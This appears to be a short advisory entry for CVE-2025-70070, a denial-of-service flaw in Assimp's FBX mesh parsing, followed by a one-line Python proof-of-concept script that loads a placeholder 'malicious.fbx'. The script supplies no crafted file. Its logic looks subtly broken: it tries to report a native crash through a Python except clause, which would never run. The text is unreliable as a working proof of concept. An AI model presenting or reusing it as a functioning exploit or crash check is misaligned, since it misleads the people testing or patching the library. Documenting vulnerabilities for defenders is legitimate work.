CVE-2025-70070 Assimp拒绝服务漏洞

import assimp # PoC for CVE-2025-70070 # This script attempts to load a malicious FBX file that triggers a DoS in Assimp v6.0.2 # The vulnerability lies in FBXMeshGeometry.cpp within MeshGeometry::MeshGeometry() def trigger_dos(malicious_file_path): try: # Load the scene # Internally calls MeshGeometry::MeshGeometry() which crashes on malformed data scene = assimp.load(malicious_file_path) print("File processed successfully (Vulnerability not triggered or patched)") except Exception as e: print(f"Exception caught: {e}") except: print("Application crashed (Denial of Service occurred)") if __name__ == "__main__": # Replace 'malicious.fbx' with the actual crafted file # Crafting involves manipulating the mesh geometry definition in the FBX binary format trigger_dos("malicious.fbx")